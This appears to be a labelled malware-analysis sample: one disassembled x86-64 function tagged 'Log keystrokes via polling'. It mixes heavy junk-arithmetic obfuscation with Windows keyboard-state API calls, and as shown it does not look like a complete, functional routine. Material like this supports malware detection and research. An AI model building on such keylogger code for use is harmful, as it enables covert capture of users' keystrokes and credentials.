Function at 0x2f8ab228c
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
movzx eax, byte [0x2f8ab41b8]
add eax, 0x71
mov byte [0x2f8ab41b0], al
mov eax, dword [0x2f8ab41b4]
mov edx, eax
mov eax, edx
shl eax, 3
sub eax, edx
mov byte [0x2f8ab41b0], al
mov eax, dword [0x2f8ab41ac]
imul eax, eax, 0x1060009
mov dword [str.hi_t], eax
mov eax, dword [0x2f8ab41ac]
sub ax, 0x167b
mov word [0x2f8ab41a2], ax
mov eax, dword [str.hi_t]
add eax, 0x5e00381f
mov dword [0x2f8ab41b4], eax
movzx eax, word [0x2f8ab41a2]
and eax, 0x22
mov byte [0x2f8ab41a8], al
mov dword [rbp - 4], 0x328197f6
mov eax, dword [0x2f8ab41b4]
sub eax, 0x69e5c84e
mov dword [0x2f8ab41ac], eax
movzx eax, word [0x2f8ab41a2]
movzx eax, ax
xor eax, 0xdee380f9
mov dword [0x2f8ab41b4], eax
movzx eax, byte [0x2f8ab41b0]
movzx eax, al
xor ax, 0x96d8
mov word [0x2f8ab41a0], ax
movzx eax, byte [0x2f8ab41b8]
movzx eax, al
or eax, 0x969c33d5
mov dword [0x2f8ab41b4], eax
movzx eax, word [0x2f8ab41a2]
movzx eax, ax
add eax, 0x3a04a779
mov dword [0x2f8ab41b4], eax
mov ecx, 0xf2
mov rax, qword [sym.imp.USER32.dll_IsWindow]
call rax
mov rax, qword [0x2f8ab5510]
movzx edx, byte [rax]
mov rax, qword [0x2f8ab5520]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp - 5], al
shl dword [rbp - 4], 1
mov rax, qword [0x2f8ab5520]
movzx edx, byte [rax]
mov rax, qword [0x2f8ab5510]
mov byte [rax], dl
shl dword [rbp - 4], 1
mov rax, qword [0x2f8ab5530]
movzx edx, byte [rax]
mov rax, qword [0x2f8ab5520]
mov byte [rax], dl
shl dword [rbp - 4], 1
mov rax, qword [0x2f8ab5530]
movzx eax, byte [rax]
add byte [rbp - 5], al
shl dword [rbp - 4], 1
movzx eax, byte [0x2f8ab41b0]
and eax, 0xffffff88
mov byte [0x2f8ab41a8], al
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, byte [0x2f8ab41b0]
mov edx, 0xffffff9f
imul eax, edx
mov byte [0x2f8ab41b0], al
movzx eax, byte [rbp - 5]
test al, al
jns 0x2f8ab250d
movzx eax, word [0x2f8ab41a2]
add eax, 0x40
mov byte [0x2f8ab41b0], al
mov edx, 0
mov ecx, 0xc6
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, word [0x2f8ab41a2]
or ax, 0xd1f
mov word [0x2f8ab41a2], ax
movzx eax, word [0x2f8ab41a0]
movzx eax, ax
or eax, 0xa8bb4036
mov dword [0x2f8ab41ac], eax
mov eax, dword [str.hi_t]
add eax, 0x61ff2aa0
mov dword [str.hi_t], eax
shl dword [rbp - 4], 1
shl byte [rbp - 5], 1
shl dword [rbp - 4], 1
movzx eax, byte [0x2f8ab41b0]
and eax, 9
mov byte [0x2f8ab41b0], al
mov eax, dword [0x2f8ab41ac]
mov edx, 0xffffffee
imul eax, edx
mov byte [0x2f8ab41a8], al
movzx eax, byte [0x2f8ab41a8]
movzx eax, al
imul eax, eax, 0x97b74a58
mov dword [str.hi_t], eax
movzx eax, word [0x2f8ab41a0]
add eax, 0x76
mov byte [0x2f8ab41a8], al
mov eax, dword [str.hi_t]
and eax, 0x65
mov byte [0x2f8ab41b8], al
movzx eax, byte [0x2f8ab41b8]
movzx eax, al
imul eax, eax, 0xdd0bd4e2
mov dword [0x2f8ab41ac], eax
movzx eax, word [0x2f8ab41a0]
sub eax, 0x29
mov byte [0x2f8ab41b0], al
movzx eax, byte [0x2f8ab41a8]
add eax, 0x71
mov byte [0x2f8ab41a8], al
or byte [rbp - 5], 1
shl dword [rbp - 4], 1
jmp 0x2f8ab25a3
movzx eax, byte [0x2f8ab41a8]
or eax, 7
mov byte [0x2f8ab41a8], al
mov eax, dword [0x2f8ab41ac]
xor ax, 0xd75
mov word [0x2f8ab41a0], ax
movzx eax, word [0x2f8ab41a0]
movzx eax, ax
or eax, 0x816a2883
mov dword [0x2f8ab41ac], eax
mov eax, dword [str.hi_t]
and eax, 0x5e
mov byte [0x2f8ab41a8], al
movzx eax, byte [0x2f8ab41b8]
movzx eax, al
or ax, 0x48a3
mov word [0x2f8ab41a0], ax
movzx eax, word [0x2f8ab41a0]
or eax, 0xc
mov byte [0x2f8ab41a8], al
mov eax, dword [0x2f8ab41b4]
add ax, 0x1286
mov word [0x2f8ab41a2], ax
movzx eax, byte [0x2f8ab41b8]
movzx eax, al
or eax, 0xbde806db
mov dword [0x2f8ab41b4], eax
shl dword [rbp - 4], 1
shl byte [rbp - 5], 1
mov rax, qword [0x2f8ab5530]
movzx edx, byte [rbp - 5]
mov byte [rax], dl
shl dword [rbp - 4], 1
movzx eax, word [0x2f8ab41a2]
movzx eax, ax
and eax, 0xaa297a05
mov dword [0x2f8ab41ac], eax
movzx eax, byte [0x2f8ab41a8]
movzx eax, al
sub ax, 0x1a4e
mov word [0x2f8ab41a0], ax
movzx eax, byte [0x2f8ab41b0]
and eax, 0xffffffc9
mov byte [0x2f8ab41a8], al
mov eax, dword [0x2f8ab41ac]
xor eax, 0x66286703
mov dword [0x2f8ab41b4], eax
mov eax, dword [0x2f8ab41ac]
sub eax, 0x756905f2
mov dword [0x2f8ab41b4], eax
movzx eax, byte [rbp - 5]
add rsp, 0x30
pop rbp
ret